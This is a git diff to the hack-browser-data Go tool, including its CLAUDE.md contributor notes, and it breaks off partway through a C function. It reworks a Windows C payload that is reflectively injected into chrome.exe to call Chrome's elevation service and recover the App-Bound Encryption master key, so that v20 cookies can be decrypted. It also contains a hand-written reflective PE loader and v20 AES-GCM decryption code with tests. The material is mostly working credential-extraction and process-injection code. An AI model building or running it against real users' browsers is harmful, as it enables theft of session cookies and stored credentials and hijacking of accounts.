diff --git a/.golangci.yml b/.golangci.yml index 091d8e7..8d44410 100644 --- a/.golangci.yml +++ b/.golangci.yml @@ -122,6 +122,7 @@ linters: - G117 # struct field matches secret pattern — false positive on Password fields - G204 # exec.Command with variable — required for macOS `security` command - G304 # file inclusion via variable — required for dynamic browser paths + - G703 # path traversal via taint analysis — same false-positive class as G304 (gosec 2.22+ / golangci-lint 2.11+) - G401 # weak crypto SHA1 — required for Chromium PBKDF2 key derivation - G402 # TLS MinVersion — not applicable (no TLS in this tool) - G405 # weak crypto DES — required for Firefox 3DES decryption diff --git a/CLAUDE.md b/CLAUDE.md index 51f40c8..1a6354a 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -42,9 +42,24 @@ go mod tidy go mod verify ``` +## Chrome ABE Payload (Windows only) + +Chrome 127+ cookies (v20) decrypt via a C payload reflectively injected into `chrome.exe`. Sources in `crypto/windows/abe_native/`; design in [RFC-010](rfcs/010-chrome-abe-integration.md). + +```bash +make payload # build the DLL (needs zig: brew install zig) +make build-windows # cross-compile hack-browser-data.exe with payload embedded +make gen-layout # regenerate Go layout constants from bootstrap_layout.h +make payload-clean # rm crypto/*.bin +``` + +- Default `go build` links a stub that errors at runtime when ABE is needed — contributors not touching Windows ABE need no zig. +- `-tags abe_embed` embeds the payload via `//go:embed` (see `crypto/abe_embed_windows.go` / `crypto/abe_stub_windows.go`). + ## Code Conventions - **Platform code**: use build tags (`_darwin.go`, `_windows.go`, `_linux.go`) +- **C payload**: all sources in `crypto/windows/abe_native/` are first-party (no vendored C). See RFC-010 §9.2 for why Stephen Fewer's reflective loader was rejected. - **Error handling**: `fmt.Errorf("context: %w", err)` for wrapping, never `_ =` to ignore errors - **Logging**: `log.Debugf` for record-level diagnostics, `log.Infof` for user-facing progress/status, `log.Warnf` for unexpected conditions. Extract methods should return errors, not log them. - **Naming**: follow Go conventions — `Config` not `BrowserConfig`, `Extract` not `BrowsingData` diff --git a/browser/chromium/decrypt.go b/browser/chromium/decrypt.go index ed3495b..0bab47c 100644 --- a/browser/chromium/decrypt.go +++ b/browser/chromium/decrypt.go @@ -20,7 +20,9 @@ func decryptValue(masterKey, ciphertext []byte) ([]byte, error) { // v11 is Linux-only and shares v10's AES-CBC path; only the key source differs. return crypto.DecryptChromium(masterKey, ciphertext) case crypto.CipherV20: - return crypto.DecryptChromium(masterKey, ciphertext) + // v20 is cross-platform AES-GCM; routed through a dedicated function so + // Linux/macOS CI can exercise the same decryption path as Windows. + return crypto.DecryptChromiumV20(masterKey, ciphertext) case crypto.CipherDPAPI: return crypto.DecryptDPAPI(ciphertext) default: diff --git a/browser/chromium/decrypt_v20_test.go b/browser/chromium/decrypt_v20_test.go new file mode 100644 index 0000000..f026b57 --- /dev/null +++ b/browser/chromium/decrypt_v20_test.go @@ -0,0 +1,35 @@ +package chromium + +import ( + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/moond4rk/hackbrowserdata/crypto" +) + +// TestDecryptValue_V20 is cross-platform because v20's ciphertext format +// (AES-GCM with 12-byte nonce) is platform-independent; only the key source +// (Chrome ABE on Windows) differs by OS. Running on Linux/macOS CI protects +// the routing in decryptValue + crypto.DecryptChromiumV20 from regressions. +func TestDecryptValue_V20(t *testing.T) { + plaintext := []byte("v20_test_value") + nonce := []byte("v20_nonce_12") // 12-byte AES-GCM nonce + + gcm, err := crypto.AESGCMEncrypt(testAESKey, nonce, plaintext) + require.NoError(t, err) + + // v20 layout: "v20" (3B) + nonce (12B) + ciphertext+tag + ciphertext := append([]byte("v20"), append(nonce, gcm...)...) + + got, err := decryptValue(testAESKey, ciphertext) + require.NoError(t, err) + assert.Equal(t, plaintext, got) +} + +func TestDecryptValue_V20_ShortCiphertext(t *testing.T) { + // Missing nonce (prefix only) must error, not panic. + _, err := decryptValue(testAESKey, []byte("v20")) + require.Error(t, err) +} diff --git a/cmd/hack-browser-data/dump.go b/cmd/hack-browser-data/dump.go index 8bb6000..b429e67 100644 --- a/cmd/hack-browser-data/dump.go +++ b/cmd/hack-browser-data/dump.go @@ -8,7 +8,6 @@ import ( "github.com/spf13/cobra" "github.com/moond4rk/hackbrowserdata/browser" - "github.com/moond4rk/hackbrowserdata/crypto" "github.com/moond4rk/hackbrowserdata/log" "github.com/moond4rk/hackbrowserdata/output" "github.com/moond4rk/hackbrowserdata/types" @@ -23,7 +22,6 @@ func dumpCmd() *cobra.Command { outputDir string profilePath string keychainPw string - abeKey string compress bool ) @@ -36,12 +34,6 @@ func dumpCmd() *cobra.Command { hack-browser-data dump -f cookie-editor hack-browser-data dump --zip`, RunE: func(cmd *cobra.Command, args []string) error { - if abeKey != "" { - if err := crypto.SetABEMasterKeyFromHex(abeKey); err != nil { - return fmt.Errorf("--abe-key: %w", err) - } - } - browsers, err := browser.PickBrowsers(browser.PickOptions{ Name: browserName, ProfilePath: profilePath, @@ -94,9 +86,6 @@ func dumpCmd() *cobra.Command { cmd.Flags().StringVarP(&outputDir, "dir", "d", "results", "output directory") cmd.Flags().StringVarP(&profilePath, "profile-path", "p", "", "custom profile dir path, get with chrome://version") cmd.Flags().StringVar(&keychainPw, "keychain-pw", "", "macOS keychain password") - cmd.Flags().StringVarP(&abeKey, "abe-key", "k", "", - "Windows only: pre-decrypted Chrome ABE master key (64 hex chars / 32 bytes). "+ - "When set, skips the in-process elevation_service injection.") cmd.Flags().BoolVar(&compress, "zip", false, "compress output to zip") return cmd diff --git a/crypto/abe_embed_windows.go b/crypto/abe_embed_windows.go index 3d23bd0..c925ea2 100644 --- a/crypto/abe_embed_windows.go +++ b/crypto/abe_embed_windows.go @@ -12,7 +12,7 @@ import ( //go:embed abe_extractor_amd64.bin var abePayloadAmd64 []byte -func getPayloadForArch(arch string) ([]byte, error) { +func ABEPayload(arch string) ([]byte, error) { switch arch { case "amd64": if len(abePayloadAmd64) == 0 { diff --git a/crypto/abe_stub_other.go b/crypto/abe_stub_other.go deleted file mode 100644 index 20c3662..0000000 --- a/crypto/abe_stub_other.go +++ /dev/null @@ -1,7 +0,0 @@ -//go:build !windows - -package crypto - -func SetABEMasterKeyFromHex(_ string) error { return nil } - -func GetABEMasterKey() []byte { return nil } diff --git a/crypto/abe_stub_windows.go b/crypto/abe_stub_windows.go index 127a4a7..5fee4fd 100644 --- a/crypto/abe_stub_windows.go +++ b/crypto/abe_stub_windows.go @@ -4,7 +4,7 @@ package crypto import "fmt" -func getPayloadForArch(arch string) ([]byte, error) { +func ABEPayload(arch string) ([]byte, error) { return nil, fmt.Errorf( "abe: payload not embedded in this build (rebuild with -tags abe_embed; arch=%s)", arch, diff --git a/crypto/abe_windows.go b/crypto/abe_windows.go deleted file mode 100644 index e8cdbb6..0000000 --- a/crypto/abe_windows.go +++ /dev/null @@ -1,46 +0,0 @@ -//go:build windows - -package crypto - -import ( - "encoding/hex" - "fmt" - "sync" -) - -var ( - abeCLIKeyMu sync.RWMutex - abeCLIKey []byte -) - -func SetABEMasterKeyFromHex(hexKey string) error { - if hexKey == "" { - return fmt.Errorf("abe: empty hex key") - } - b, err := hex.DecodeString(hexKey) - if err != nil { - return fmt.Errorf("abe: decode hex key: %w", err) - } - if len(b) != 32 { - return fmt.Errorf("abe: key must be 32 bytes (got %d)", len(b)) - } - abeCLIKeyMu.Lock() - abeCLIKey = b - abeCLIKeyMu.Unlock() - return nil -} - -func GetABEMasterKey() []byte { - abeCLIKeyMu.RLock() - defer abeCLIKeyMu.RUnlock() - if len(abeCLIKey) == 0 { - return nil - } - out := make([]byte, len(abeCLIKey)) - copy(out, abeCLIKey) - return out -} - -func ABEPayload(arch string) ([]byte, error) { - return getPayloadForArch(arch) -} diff --git a/crypto/crypto.go b/crypto/crypto.go index 3244300..e7136d0 100644 --- a/crypto/crypto.go +++ b/crypto/crypto.go @@ -45,6 +45,27 @@ func DES3Decrypt(key, iv, ciphertext []byte) ([]byte, error) { return cbcDecrypt(block, iv, ciphertext) } +// gcmNonceSize is the AES-GCM standard nonce size used by Chromium's v10/v20 +// cipher formats. Cross-platform because the v20 ciphertext layout is the +// same regardless of host OS (only Windows currently produces v20). +const gcmNonceSize = 12 + +// DecryptChromiumV20 decrypts a Chromium v20 (App-Bound Encryption) ciphertext. +// Format: "v20" prefix (3B) + nonce (12B) + AES-GCM(payload + 16B tag). +// +// Cross-platform: v20 is only produced by Chrome on Windows today, but the +// decryption math is platform-neutral. Keeping it here rather than in +// crypto_windows.go ensures the routing in browser/chromium/decrypt.go stays +// testable on Linux/macOS CI. +func DecryptChromiumV20(key, ciphertext []byte) ([]byte, error) { + if len(ciphertext) < versionPrefixLen+gcmNonceSize { + return nil, errShortCiphertext + } + nonce := ciphertext[versionPrefixLen : versionPrefixLen+gcmNonceSize] + payload := ciphertext[versionPrefixLen+gcmNonceSize:] + return AESGCMDecrypt(key, nonce, payload) +} + // AESGCMEncrypt encrypts data using AES-GCM mode. func AESGCMEncrypt(key, nonce, plaintext []byte) ([]byte, error) { block, err := aes.NewCipher(key) diff --git a/crypto/crypto_windows.go b/crypto/crypto_windows.go index 5f50ba6..e4785b3 100644 --- a/crypto/crypto_windows.go +++ b/crypto/crypto_windows.go @@ -8,10 +8,8 @@ import ( "unsafe" ) -const ( - gcmNonceSize = 12 // AES-GCM standard nonce size - minGCMDataSize = versionPrefixLen + gcmNonceSize // "v10" + nonce = 15 bytes minimum -) +// gcmNonceSize is defined in crypto.go (cross-platform). +const minGCMDataSize = versionPrefixLen + gcmNonceSize // "v10" + nonce = 15 bytes minimum func DecryptChromium(key, ciphertext []byte) ([]byte, error) { if len(ciphertext) < minGCMDataSize { diff --git a/crypto/keyretriever/abe_windows.go b/crypto/keyretriever/abe_windows.go index cde9770..204531e 100644 --- a/crypto/keyretriever/abe_windows.go +++ b/crypto/keyretriever/abe_windows.go @@ -36,11 +36,6 @@ func (r *ABERetriever) RetrieveKey(storage, localStatePath string) ([]byte, erro return nil, err } - if cliKey := crypto.GetABEMasterKey(); len(cliKey) > 0 { - log.Debugf("abe: using --abe-key for %s", browserKey) - return cliKey, nil - } - payload, err := crypto.ABEPayload("amd64") if err != nil { return nil, fmt.Errorf("abe: %w", err) @@ -63,7 +58,7 @@ func (r *ABERetriever) RetrieveKey(storage, localStatePath string) ([]byte, erro if len(key) != 32 { return nil, fmt.Errorf("abe: unexpected key length %d (want 32)", len(key)) } - log.Debugf("abe: retrieved %s master key via reflective injection", browserKey) + log.Infof("abe: retrieved %s master key via reflective injection", browserKey) return key, nil } diff --git a/crypto/windows/abe_native/Makefile.frag b/crypto/windows/abe_native/Makefile.frag index b3f3533..c340023 100644 --- a/crypto/windows/abe_native/Makefile.frag +++ b/crypto/windows/abe_native/Makefile.frag @@ -39,3 +39,26 @@ payload-verify: $(ABE_BIN) payload-clean: rm -f $(ABE_BIN_DIR)/abe_extractor_*.bin + +# Scratch-layout codegen. The C header bootstrap_layout.h is the single +# source of truth; the Go constants in crypto/windows/abe_native/bootstrap +# are derived from it via cgo -godefs. We pin CC to zig for reproducible +# output across macOS / Linux / Windows hosts. +ABE_LAYOUT_PKG = $(ABE_SRC_DIR)/bootstrap +ABE_LAYOUT_GO = $(ABE_LAYOUT_PKG)/layout.go + +.PHONY: gen-layout gen-layout-verify + +# Split into two stages so a cgo failure doesn't silently produce an empty +# layout.go via `gofmt` on empty stdin. Write cgo output to a temp file first; +# only if that step succeeds do we format and publish. +gen-layout: + cd $(ABE_LAYOUT_PKG) && \ + CC="$(ZIG) cc" $(GO) tool cgo -godefs layout_gen.go > layout.go.tmp && \ + gofmt layout.go.tmp > layout.go && \ + rm -f layout.go.tmp && \ + rm -rf _obj + +gen-layout-verify: gen-layout + @git diff --exit-code $(ABE_LAYOUT_GO) >/dev/null || \ + (echo "layout.go is stale — run 'make gen-layout' and commit"; exit 1) diff --git a/crypto/windows/abe_native/abe_extractor.c b/crypto/windows/abe_native/abe_extractor.c index 55501bc..c4052b4 100644 --- a/crypto/windows/abe_native/abe_extractor.c +++ b/crypto/windows/abe_native/abe_extractor.c @@ -1,5 +1,3 @@ -// SPDX-License-Identifier: Apache-2.0 - #define WIN32_LEAN_AND_MEAN #include #include @@ -12,7 +10,17 @@ #define ENV_ENC_B64 "HBD_ABE_ENC_B64" #define ENV_ENC_MAX 8192 +typedef struct { + HRESULT hr; // last COM HRESULT (0 on success) + DWORD comErr; // IElevator.DecryptData out DWORD (0 on success / non-COM paths) + BYTE errCode; // ABE_ERR_* (ABE_ERR_OK on success) + BSTR plain; // 32-byte BSTR on success; NULL otherwise. Caller owns. +} extract_result; + static void DoExtractKey(BYTE *imageBase); +static extract_result extract_key_inner(const BrowserComIds *ids); +static void publish_key(BYTE *imageBase, const BYTE *plain); +static void publish_error(BYTE *imageBase, BYTE code, HRESULT hr, DWORD comErr); static BOOL GetOwnExeBasename(char *buf, DWORD bufsize); static BOOL Base64DecodeStack(const char *b64, BYTE *out_buf, DWORD *out_len); static HRESULT CallDecryptDataBySlot(IUnknown *pObj, unsigned int vtblIndex, @@ -29,58 +37,99 @@ BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) return TRUE; } +// DoExtractKey is the orchestrator: it handles COM init/uninit, resolves the +// browser identity from the hosting exe, delegates the key-extraction work +// to extract_key_inner, and publishes either the master key or a structured +// error into the scratch region the Go injector reads. static void DoExtractKey(BYTE *imageBase) { - HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); - BOOL weInited = SUCCEEDED(hr); + HRESULT initHr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); + BOOL weInited = SUCCEEDED(initHr); char exeBasename[MAX_PATH]; if (!GetOwnExeBasename(exeBasename, (DWORD)sizeof(exeBasename))) { - goto cleanup_com; + publish_error(imageBase, ABE_ERR_BASENAME, 0, 0); + goto out; } const BrowserComIds *ids = LookupBrowserByExe(exeBasename); if (!ids) { - goto cleanup_com; + publish_error(imageBase, ABE_ERR_BROWSER_UNKNOWN, 0, 0); + goto out; } + extract_result r = extract_key_inner(ids); + + if (r.errCode == ABE_ERR_OK && r.plain != NULL && + SysStringByteLen(r.plain) == BOOTSTRAP_KEY_LEN) { + publish_key(imageBase, (const BYTE *)r.plain); + } else if (r.errCode == ABE_ERR_OK && r.plain != NULL) { + // COM call succeeded but returned wrong length. + publish_error(imageBase, ABE_ERR_KEY_LEN, r.hr, 0); + } else { + publish_error(imageBase, r.errCode, r.hr, r.comErr); + } + + if (r.plain) { + SecureZeroMemory(r.plain, SysStringByteLen(r.plain)); + SysFreeString(r.plain); + } + +out: + if (weInited) { + CoUninitialize(); + } +} + +// extract_key_inner owns a single resource (bstrEnc) and uses early returns; +// successful exit hands the plaintext BSTR to the caller. +static extract_result extract_key_inner(const BrowserComIds *ids) +{ + extract_result r = {0, 0, ABE_ERR_OK, NULL}; + char envEnc[ENV_ENC_MAX]; DWORD envEncLen = GetEnvironmentVariableA(ENV_ENC_B64, envEnc, ENV_ENC_MAX); if (envEncLen == 0 || envEncLen >= ENV_ENC_MAX) { - goto cleanup_com; + r.errCode = ABE_ERR_ENV_MISSING; + return r; } BYTE encKey[ENV_ENC_MAX]; DWORD encKeyLen = ENV_ENC_MAX; if (!Base64DecodeStack(envEnc, encKey, &encKeyLen) || encKeyLen == 0) { - goto cleanup_com; + SecureZeroMemory(encKey, ENV_ENC_MAX); + SecureZeroMemory(envEnc, ENV_ENC_MAX); + r.errCode = ABE_ERR_BASE64; + return r; } BSTR bstrEnc = SysAllocStringByteLen((LPCSTR)encKey, encKeyLen); SecureZeroMemory(encKey, ENV_ENC_MAX); SecureZeroMemory(envEnc, ENV_ENC_MAX); if (!bstrEnc) { - goto cleanup_com; + r.errCode = ABE_ERR_BSTR_ALLOC; + return r; } - // IElevator2 is Chrome 144+; older vendors only implement v1. + // IElevator2 is Chrome 144+; older vendors only implement v1. Try v2 + // first (when declared), fall back to v1. IUnknown *pObj = NULL; + HRESULT hr = S_OK; if (ids->has_iid_v2) { hr = CoCreateInstance(&ids->clsid, NULL, CLSCTX_LOCAL_SERVER, &ids->iid_v2, (void **)&pObj); - if (FAILED(hr)) { - pObj = NULL; - } + if (FAILED(hr)) pObj = NULL; } if (!pObj) { hr = CoCreateInstance(&ids->clsid, NULL, CLSCTX_LOCAL_SERVER, &ids->iid_v1, (void **)&pObj); - if (FAILED(hr)) { - pObj = NULL; - } + if (FAILED(hr)) pObj = NULL; } if (!pObj) { - goto free_enc; + SysFreeString(bstrEnc); + r.hr = hr; + r.errCode = ABE_ERR_COM_CREATE; + return r; } CoSetProxyBlanket(pObj, @@ -95,28 +144,37 @@ static void DoExtractKey(BYTE *imageBase) hr = CallDecryptDataBySlot(pObj, DecryptDataVtblIndex(ids->kind), bstrEnc, &bstrPlain, &comErr); pObj->lpVtbl->Release(pObj); - - if (SUCCEEDED(hr) && bstrPlain) { - UINT plainLen = SysStringByteLen(bstrPlain); - if (plainLen == BOOTSTRAP_KEY_LEN) { - // Write key before status; Go reads key only after status==READY. - for (UINT i = 0; i < BOOTSTRAP_KEY_LEN; ++i) { - imageBase[BOOTSTRAP_KEY_OFFSET + i] = ((BYTE *)bstrPlain)[i]; - } - MemoryBarrier(); - imageBase[BOOTSTRAP_KEY_STATUS_OFFSET] = BOOTSTRAP_KEY_STATUS_READY; - } - SecureZeroMemory(bstrPlain, plainLen); - SysFreeString(bstrPlain); - } - -free_enc: SysFreeString(bstrEnc); -cleanup_com: - if (weInited) { - CoUninitialize(); + if (FAILED(hr) || bstrPlain == NULL) { + r.hr = hr; + r.comErr = comErr; + r.errCode = ABE_ERR_DECRYPT_DATA; + return r; } + + r.hr = hr; + r.comErr = comErr; + r.errCode = ABE_ERR_OK; + r.plain = bstrPlain; + return r; +} + +static void publish_key(BYTE *imageBase, const BYTE *plain) +{ + // Write key before status; Go reads key only after status == READY. + for (UINT i = 0; i < BOOTSTRAP_KEY_LEN; ++i) { + imageBase[BOOTSTRAP_KEY_OFFSET + i] = plain[i]; + } + MemoryBarrier(); + imageBase[BOOTSTRAP_KEY_STATUS_OFFSET] = BOOTSTRAP_KEY_STATUS_READY; +} + +static void publish_error(BYTE *imageBase, BYTE code, HRESULT hr, DWORD comErr) +{ + *(volatile BYTE *)(imageBase + BOOTSTRAP_EXTRACT_ERR_CODE_OFFSET) = code; + *(volatile DWORD *)(imageBase + BOOTSTRAP_HRESULT_OFFSET) = (DWORD)hr; + *(volatile DWORD *)(imageBase + BOOTSTRAP_COMERR_OFFSET) = comErr; } static BOOL GetOwnExeBasename(char *buf, DWORD bufsize) diff --git a/crypto/windows/abe_native/bootstrap.c b/crypto/windows/abe_native/bootstrap.c index cdae29a..ad8c60c 100644 --- a/crypto/windows/abe_native/bootstrap.c +++ b/crypto/windows/abe_native/bootstrap.c @@ -1,5 +1,3 @@ -// SPDX-License-Identifier: Apache-2.0 - #define WIN32_LEAN_AND_MEAN #include #include @@ -13,6 +11,14 @@ typedef BOOL (WINAPI *pfn_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD); typedef LONG (NTAPI *pfn_NtFlushInstructionCache)(HANDLE, PVOID, ULONG); typedef BOOL (WINAPI *pfn_DllMain)(HINSTANCE, DWORD, LPVOID); +typedef struct { + pfn_LoadLibraryA LoadLibraryA; + pfn_GetProcAddress GetProcAddress; + pfn_VirtualAlloc VirtualAlloc; + pfn_VirtualProtect VirtualProtect; + pfn_NtFlushInstructionCache NtFlushInstructionCache; +} resolved_imports; + #define MARK(imgBase, step) do { \ *(volatile BYTE *)((BYTE *)(imgBase) + BOOTSTRAP_MARKER_OFFSET) = (BYTE)(step); \ } while (0) @@ -26,7 +32,10 @@ static __attribute__((noinline)) ULONG_PTR get_caller_ip(void) return (ULONG_PTR)__builtin_return_address(0); } -__declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter) +// locate_own_image_base walks backwards from the return IP of the calling +// frame until it hits a valid MZ/PE header. Must not be inlined (see +// get_caller_ip above). +static ULONG_PTR locate_own_image_base(void) { ULONG_PTR imageBase = get_caller_ip(); while (imageBase > 0) { @@ -36,131 +45,155 @@ __declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter) if (lfanew > 0 && lfanew < 0x1000) { PIMAGE_NT_HEADERS64 nt = (PIMAGE_NT_HEADERS64)(imageBase + (ULONG_PTR)lfanew); - if (nt->Signature == IMAGE_NT_SIGNATURE) break; + if (nt->Signature == IMAGE_NT_SIGNATURE) return imageBase; } } imageBase--; } - if (imageBase == 0) return 0; - MARK(imageBase, BOOTSTRAP_MARK_MZ_FOUND); + return 0; +} - pfn_LoadLibraryA pLoadLibraryA = +// read_preresolved_imports pulls the five function pointers the Go injector +// patched into the payload's DOS stub (see patchPreresolvedImports on the +// Go side). Returns FALSE if any slot is NULL — indicating a build-stub +// mismatch between C and Go. +static BOOL read_preresolved_imports(ULONG_PTR imageBase, resolved_imports *out) +{ + out->LoadLibraryA = *(pfn_LoadLibraryA *)(imageBase + BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET); - pfn_GetProcAddress pGetProcAddress = + out->GetProcAddress = *(pfn_GetProcAddress *)(imageBase + BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET); - pfn_VirtualAlloc pVirtualAlloc = + out->VirtualAlloc = *(pfn_VirtualAlloc *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET); - pfn_VirtualProtect pVirtualProtect = + out->VirtualProtect = *(pfn_VirtualProtect *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET); - pfn_NtFlushInstructionCache pNtFlushIC = + out->NtFlushInstructionCache = *(pfn_NtFlushInstructionCache *)(imageBase + BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET); - if (!pLoadLibraryA || !pGetProcAddress || !pVirtualAlloc || - !pVirtualProtect || !pNtFlushIC) { - MARK(imageBase, BOOTSTRAP_MARK_ERR_IMPORTS); - return 0; - } - MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_OK); + return out->LoadLibraryA && out->GetProcAddress && out->VirtualAlloc && + out->VirtualProtect && out->NtFlushInstructionCache; +} - PIMAGE_DOS_HEADER oldDos = (PIMAGE_DOS_HEADER)imageBase; - PIMAGE_NT_HEADERS64 oldNt = - (PIMAGE_NT_HEADERS64)(imageBase + (ULONG_PTR)oldDos->e_lfanew); +// allocate_and_copy_image reserves a fresh RW region and copies the raw +// payload bytes (headers + every section) into it. Returns the new base +// plus a pointer to the NT headers within the new image, or NULL on +// VirtualAlloc failure. +static BYTE *allocate_and_copy_image(ULONG_PTR oldBase, + const resolved_imports *imp, + PIMAGE_NT_HEADERS64 *outNewNt) +{ + PIMAGE_DOS_HEADER oldDos = (PIMAGE_DOS_HEADER)oldBase; + PIMAGE_NT_HEADERS64 oldNt = + (PIMAGE_NT_HEADERS64)(oldBase + (ULONG_PTR)oldDos->e_lfanew); SIZE_T sizeOfImage = oldNt->OptionalHeader.SizeOfImage; - BYTE *newBase = (BYTE *)pVirtualAlloc( + BYTE *newBase = (BYTE *)imp->VirtualAlloc( NULL, sizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - if (!newBase) { - MARK(imageBase, BOOTSTRAP_MARK_ERR_ALLOC); - return 0; - } - MARK(imageBase, BOOTSTRAP_MARK_ALLOC_OK); + if (!newBase) return NULL; - BYTE *headerSrc = (BYTE *)imageBase; + BYTE *headerSrc = (BYTE *)oldBase; DWORD headerSize = oldNt->OptionalHeader.SizeOfHeaders; for (DWORD i = 0; i < headerSize; i++) { newBase[i] = headerSrc[i]; } + PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(oldNt); for (WORD i = 0; i < oldNt->FileHeader.NumberOfSections; i++) { - BYTE *sSrc = (BYTE *)imageBase + sec[i].PointerToRawData; + BYTE *sSrc = (BYTE *)oldBase + sec[i].PointerToRawData; BYTE *sDst = newBase + sec[i].VirtualAddress; DWORD raw = sec[i].SizeOfRawData; for (DWORD j = 0; j < raw; j++) { sDst[j] = sSrc[j]; } } - MARK(imageBase, BOOTSTRAP_MARK_COPIED); - PIMAGE_NT_HEADERS64 newNt = + *outNewNt = (PIMAGE_NT_HEADERS64)(newBase + (ULONG_PTR)oldDos->e_lfanew); + return newBase; +} +// apply_base_relocations fixes up 64-bit absolute address references in +// the copied image if the new base differs from the preferred ImageBase. +static void apply_base_relocations(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt) +{ LONG_PTR delta = (LONG_PTR)newBase - (LONG_PTR)newNt->OptionalHeader.ImageBase; DWORD relocSize = newNt->OptionalHeader .DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; DWORD relocRva = newNt->OptionalHeader .DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; - if (delta != 0 && relocSize > 0 && relocRva > 0) { - PIMAGE_BASE_RELOCATION reloc = - (PIMAGE_BASE_RELOCATION)(newBase + relocRva); - DWORD consumed = 0; - while (reloc->VirtualAddress && consumed < relocSize) { - DWORD count = - (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); - WORD *entries = - (WORD *)((BYTE *)reloc + sizeof(IMAGE_BASE_RELOCATION)); - for (DWORD j = 0; j < count; j++) { - WORD type = entries[j] >> 12; - WORD offset = entries[j] & 0x0FFF; - if (type == IMAGE_REL_BASED_DIR64) { - ULONG_PTR *target = (ULONG_PTR *)(newBase + - reloc->VirtualAddress + offset); - *target += (ULONG_PTR)delta; - } - } - consumed += reloc->SizeOfBlock; - reloc = (PIMAGE_BASE_RELOCATION)((BYTE *)reloc + reloc->SizeOfBlock); - } - } - MARK(imageBase, BOOTSTRAP_MARK_RELOCATED); + if (delta == 0 || relocSize == 0 || relocRva == 0) return; + PIMAGE_BASE_RELOCATION reloc = + (PIMAGE_BASE_RELOCATION)(newBase + relocRva); + DWORD consumed = 0; + while (reloc->VirtualAddress && consumed < relocSize) { + DWORD count = + (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); + WORD *entries = + (WORD *)((BYTE *)reloc + sizeof(IMAGE_BASE_RELOCATION)); + for (DWORD j = 0; j < count; j++) { + WORD type = entries[j] >> 12; + WORD offset = entries[j] & 0x0FFF; + if (type == IMAGE_REL_BASED_DIR64) { + ULONG_PTR *target = (ULONG_PTR *)(newBase + + reloc->VirtualAddress + offset); + *target += (ULONG_PTR)delta; + } + } + consumed += reloc->SizeOfBlock; + reloc = (PIMAGE_BASE_RELOCATION)((BYTE *)reloc + reloc->SizeOfBlock); + } +} + +// link_iat resolves the Import Address Table for each DLL the payload +// references, using the pre-resolved LoadLibraryA + GetProcAddress the +// Go injector patched in. +static void link_iat(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt, + const resolved_imports *imp) +{ DWORD impSize = newNt->OptionalHeader .DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size; DWORD impRva = newNt->OptionalHeader .DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; - if (impSize > 0 && impRva > 0) { - PIMAGE_IMPORT_DESCRIPTOR imp = - (PIMAGE_IMPORT_DESCRIPTOR)(newBase + impRva); - while (imp->Name) { - const char *modName = (const char *)(newBase + imp->Name); - HMODULE hMod = pLoadLibraryA(modName); - if (hMod) { - DWORD origRva = imp->OriginalFirstThunk - ? imp->OriginalFirstThunk : imp->FirstThunk; - PIMAGE_THUNK_DATA origThunk = - (PIMAGE_THUNK_DATA)(newBase + origRva); - PIMAGE_THUNK_DATA thunk = - (PIMAGE_THUNK_DATA)(newBase + imp->FirstThunk); - while (origThunk->u1.AddressOfData) { - FARPROC fn; - if (IMAGE_SNAP_BY_ORDINAL(origThunk->u1.Ordinal)) { - fn = pGetProcAddress(hMod, - (LPCSTR)(origThunk->u1.Ordinal & 0xFFFF)); - } else { - PIMAGE_IMPORT_BY_NAME ibn = (PIMAGE_IMPORT_BY_NAME) - (newBase + origThunk->u1.AddressOfData); - fn = pGetProcAddress(hMod, ibn->Name); - } - thunk->u1.Function = (ULONG_PTR)fn; - origThunk++; - thunk++; - } - } - imp++; - } - } - MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_FIXED); + if (impSize == 0 || impRva == 0) return; - sec = IMAGE_FIRST_SECTION(newNt); + PIMAGE_IMPORT_DESCRIPTOR desc = + (PIMAGE_IMPORT_DESCRIPTOR)(newBase + impRva); + while (desc->Name) { + const char *modName = (const char *)(newBase + desc->Name); + HMODULE hMod = imp->LoadLibraryA(modName); + if (hMod) { + DWORD origRva = desc->OriginalFirstThunk + ? desc->OriginalFirstThunk : desc->FirstThunk; + PIMAGE_THUNK_DATA origThunk = + (PIMAGE_THUNK_DATA)(newBase + origRva); + PIMAGE_THUNK_DATA thunk = + (PIMAGE_THUNK_DATA)(newBase + desc->FirstThunk); + while (origThunk->u1.AddressOfData) { + FARPROC fn; + if (IMAGE_SNAP_BY_ORDINAL(origThunk->u1.Ordinal)) { + fn = imp->GetProcAddress(hMod, + (LPCSTR)(origThunk->u1.Ordinal & 0xFFFF)); + } else { + PIMAGE_IMPORT_BY_NAME ibn = (PIMAGE_IMPORT_BY_NAME) + (newBase + origThunk->u1.AddressOfData); + fn = imp->GetProcAddress(hMod, ibn->Name); + } + thunk->u1.Function = (ULONG_PTR)fn; + origThunk++; + thunk++; + } + } + desc++; + } +} + +// set_section_protections applies final per-section memory protections +// (.text → RX, .rdata → R, .data → RW) based on IMAGE_SCN_MEM_* flags. +static void set_section_protections(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt, + const resolved_imports *imp) +{ + PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(newNt); for (WORD i = 